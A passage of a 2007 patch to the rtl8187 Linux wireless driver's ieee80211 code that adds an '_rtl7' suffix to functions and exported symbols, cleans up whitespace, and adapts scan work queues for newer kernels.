ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +979,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1030,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1057,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1080,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1043,47 +1109,47 @@ break; case MFIE_TYPE_TIM: - - if(info_element->len < 4) + + if(info_element->len < 4) break; - + network->dtim_period = info_element->data[1]; - + if(ieee->state != IEEE80211_LINKED) break; - - network->last_dtim_sta_time[0] = stats->mac_time[0]; + + network->last_dtim_sta_time[0] = stats->mac_time[0]; network->last_dtim_sta_time[1] = stats->mac_time[1]; - + network->dtim_data = IEEE80211_DTIM_VALID; - - if(info_element->data[0] != 0) + + if(info_element->data[0] != 0) break; - + if(info_element->data[2] & 1) network->dtim_data |= IEEE80211_DTIM_MBCAST; - + offset = (info_element->data[2] >> 1)*2; - - //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); - - if(ieee->assoc_id < offset || + + //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); + + if(ieee->assoc_id < offset || ieee->assoc_id > 8*(offset + info_element->len -3)) - + break; - - + + offset = offset + ieee->assoc_id / 8;// + ((aid % 8)? 0 : 1) ; - - // printk("offset:%x data:%x, ucast:%d\n", offset, + + // printk("offset:%x data:%x, ucast:%d\n", offset, // info_element->data[3+offset] , // info_element->data[3+offset] & (1<<(ieee->assoc_id%8))); - + if(info_element->data[3+offset] & (1<<(ieee->assoc_id%8))) network->dtim_data |= IEEE80211_DTIM_UCAST; - + break; - + case MFIE_TYPE_IBSS_SET: IEEE80211_DEBUG_SCAN("MFIE_TYPE_IBSS_SET: ignored\n"); break; @@ -1115,7 +1181,7 @@ memcpy(network->rsn_ie, info_element, network->rsn_ie_len); break; - + default: IEEE80211_DEBUG_SCAN("unsupported IE %d\n", info_element->id); @@ -1147,7 +1213,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,24 +1221,24 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID - * and the capability field (in particular IBSS and BSS) all match. + * and the capability field (in particular IBSS and BSS) all match. * We treat all with the same BSSID and channel * as one network */ return ((src->ssid_len == dst->ssid_len) && (src->channel == dst->channel) && !memcmp(src->bssid, dst->bssid, ETH_ALEN) && !memcmp(src->ssid, dst->ssid, src->ssid_len) && - ((src->capability & WLAN_CAPABILITY_IBSS) == + ((src->capability & WLAN_CAPABILITY_IBSS) == (dst->capability & WLAN_CAPABILITY_IBSS)) && - ((src->capability & WLAN_CAPABILITY_BSS) == + ((src->capability & WLAN_CAPABILITY_BSS) == (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1194,7 +1260,7 @@ dst->dtim_data = src->dtim_data; dst->last_dtim_sta_time[0] = src->last_dtim_sta_time[0]; dst->last_dtim_sta_time[1] = src->last_dtim_sta_time[1]; - + memcpy(dst->wpa_ie, src->wpa_ie, src->wpa_ie_len); dst->wpa_ie_len = src->wpa_ie_len; memcpy(dst->rsn_ie, src->rsn_ie, src->rsn_ie_len); @@ -1204,7 +1270,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1305,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1261,12 +1327,12 @@ * already there. */ spin_lock_irqsave(&ieee->lock, flags); - - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); - + + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); + list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1372,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1315,39 +1381,39 @@ WLAN_FC_GET_STYPE(beacon->header.frame_ctl) == IEEE80211_STYPE_PROBE_RESP ? "PROBE RESPONSE" : "BEACON"); - + /* we have an entry and we are going to update it. But this entry may - * be already expired. In this case we do the same as we found a new + * be already expired. In this case we do the same as we found a new * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_BEACON: IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; - + case IEEE80211_STYPE_PROBE_RESP: IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1421,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac.c rtl8187_rawtx/ieee80211/ieee80211_softmac.c --- rtl8187_orig/ieee80211/ieee80211_softmac.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_softmac.c 2007-07-13 01:46:05.000000000 +0200 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,28 +34,28 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) + */ +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,73 +85,73 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; - */ + */ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; - + //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); - + ieee80211_sta_wakeup_rtl7(ieee,0); + if(single){ - + if(ieee->queue_stop){ - - enqueue_mgmt(ieee,skb); - + + enqueue_mgmt_rtl7(ieee,skb); + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -159,119 +159,119 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - - rate_len = ieee80211_MFIE_rate_len(ieee); - + + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ); - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - - skb = ieee80211_get_beacon_(ieee); + + unsigned long flags; + + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -279,57 +279,57 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - skb = ieee80211_probe_req(ieee); + + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -342,24 +342,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); - - ieee80211_send_probe_requests(ieee); - + + ieee80211_send_probe_requests_rtl7(ieee); + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -370,43 +370,49 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; - + down(&ieee->scan_sem); + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -419,7 +425,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); - + ieee80211_send_beacon_rtl7(ieee); + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,111 +459,111 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -566,23 +572,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -590,72 +596,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -664,208 +670,211 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = 